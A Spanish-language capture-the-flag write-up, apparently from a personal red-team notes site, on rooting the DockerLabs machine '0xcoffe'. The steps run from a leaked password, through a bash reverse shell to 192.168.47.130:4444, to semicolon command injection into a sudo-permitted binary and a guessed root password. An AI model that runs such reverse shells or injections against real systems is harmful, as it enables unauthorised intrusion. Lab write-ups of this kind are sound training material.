> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/dockerlabs/0xcoffe.md).

# 0xcoffe

Iniciando con un escaneo de puertos me encontre con  2 puertos abiertos.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FO5I8jnMFK9ZVdIip6Q0A%2Fimage.png?alt=media&amp;token=01a01d2f-ee33-41f3-9666-f3d5d8ded105" alt=""><figcaption></figcaption></figure>

En el puerto 80, probe algunos comandos de injection sql pero no tuve exito alguno, revise el codigo fuente pero no se logra ver nada relevante

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F1ExlBVuohp4ydGsjK0el%2Fimage.png?alt=media&amp;token=ef355e97-3e25-4d0a-af6f-579657d6bb5f" alt=""><figcaption></figcaption></figure>

&#x20;reviso el puerto 7777 que es tambien un servicio web y me consigo con que puedo ver el directorio \~ aqui consigo un directorio llamado secret, al acceder me consigo con un .txt (history.txt)

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FKYJ6ochv8IpDibfhOqdy%2Fimage.png?alt=media&amp;token=d91452f4-f0f8-4b99-a2b0-a7b9c377e76b" alt=""><figcaption></figcaption></figure>

Tras leer el archivo .txt noto una palabra que me llamo la atencion "super\_secure\_password".\
Probe con ingresarla en la web que se aloja en el puerto 80, y logre obtener acceso al mismo.

Una vez dentro, pruebo con obtener una rev. shell<br>

&#x20;script.sh\
/bin/bash -i >& /dev/tcp/192.168.47.130/4444 0>&1\
\
Intento de ejecutar sudo -l pero me solicita una contraseña.\
\
Por lo que revisando los directorios de los usuarios del sistema solo tengo permiso de accder en /home/codebad donde me encuentro con un directorio llamado secret que al acceder a el consigo un archivo llamado adivina.txt cat adivina.txt

La respuesta es: malware

La respuesta es: malware

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FEpXCC70JmeXMWVDx3jEj%2Fimage.png?alt=media&amp;token=a211b6af-80b7-400a-851d-50a43e050e50" alt=""><figcaption></figcaption></figure>

Una vez dentro del usuario codebad, ejecuto sudo -l para ver si es posible escalar privilegios.\
Saliendo como resultado algo que en un principio no tenia muy en claro que podria hacer

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FTka6KiaFEq4KUamnNZNe%2Fimage.png?alt=media&amp;token=5167acbe-95a3-476e-aa54-7132b9186548" alt=""><figcaption></figcaption></figure>

Si intentamos leer el script, estará en un formato ilegible, pero podemos probar en ejecutarlo y ver que pasa:

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FTenpNIhcKGD0iQiWU2LZ%2Fimage.png?alt=media&amp;token=934eb1fd-2552-41fb-ad64-900863dd2bdd" alt=""><figcaption></figcaption></figure>

Al hacer uso de ";" y poner `whoami; ls`,  ejecuta ambos a la misma vez.&#x20;

```
sudo -u metadata /home/codebad/code "/home/; bash"
```

Esto hará que se ejecute el binario bash y podremos escalar privilegios al usuario "metadata".

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Fa90Qpwpz9jX97VHnjEJz%2Fimage.png?alt=media&amp;token=05a77843-aee2-4899-a092-529dede83230" alt=""><figcaption></figcaption></figure>

por lo que una vez con los privilegios intente ver si podia habia forma de escalar a root por medio de sudo pero pide una contraseña

Asique me puse a buscar si habia algún archivo con el nombre de "metadata" con el siguiente comando

<br>

```
find / -name "meta*" 2>/dev/null
```

\
Donde uno en especial me llamo la atencion&#x20;

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F4rL1qrc4MSJvSIBE1nLa%2Fimage.png?alt=media&amp;token=d45ae942-4a2c-4e28-a36c-5d2bb056c809" alt=""><figcaption></figcaption></figure>

El ejecutarlo no da mucho resultado, asique probe considerando el nombre como una posible contraseña.

\ <br>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F2doBMKW4LSMfFheW3ByM%2Fimage.png?alt=media&amp;token=fefa1e87-debe-4bfd-95b3-9500b496dd1c" alt=""><figcaption></figcaption></figure>

Teniendo como resultado la forma de escalar a root

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FEtod85OyeT4UZhniAJza%2Fimage.png?alt=media&amp;token=57705e35-a4cc-4e36-9337-cb3aaca926e9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FJbWFBdckq1D1EB6GvTn4%2Fimage.png?alt=media&amp;token=4adfe04f-fd9e-4f8d-9a94-7d2d2d070c7a" alt=""><figcaption></figcaption></figure>

PWNED!!


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/dockerlabs/0xcoffe.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
